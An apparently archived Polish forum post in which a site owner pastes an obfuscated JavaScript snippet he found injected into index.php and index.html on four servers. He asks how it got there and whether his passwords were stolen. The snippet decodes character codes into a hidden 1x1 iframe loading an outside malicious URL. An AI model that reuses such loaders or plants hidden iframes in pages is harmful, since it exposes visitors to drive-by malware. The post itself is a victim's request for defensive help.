🚀 go-pugleaf

witam

znalazlem na kilku swoich stronach takie scierwo

<SCRIPT LANGUAGE="JavaScript">
<!-- 
function Decode(){var temp="",i,c=0,out="";var
str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!116!116!112!58!47!47!105!110!102!111!115!116!100!46!105!110!102!111!47!115!112!115!121!115!116!101!109!47!120!115!121!115!116!101!109!49!47!105!110!100!101!120!46!112!104!112!34!32!87!73!68!84!72!61!49!32!72!69!73!71!72!84!61!49!32!70!82!65!77!69!66!79!82!68!69!82!61!48!32!83!67!82!79!76!76!73!78!71!61!78!79!62!60!47!105!102!114!97!109!101!62!13!10!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}alert(out);}
//-->
</SCRIPT><SCRIPT LANGUAGE="JavaScript">
<!-- 
Decode();
//-->
</SCRIPT>


wiem ze to dekoduje te literki i wstawia iframa z jakims gownem. podejrzewam
ze chodz i exploita ktory zamienia zawartosc strony ale nie jestem pewny.

Czy wie ktośmoze jak to się moglo dostać na serwer?  zmienione byly pliki
index.php i index.html głownie.
dotyczy to 4 roznych serwerów na ktorym mialem strony.

Czy oznacza to ze ktos mnie zhaczył i zwinął hasła?

jesli ten temat byl juz poruszany to z gory przepraszam

pozdr
Alex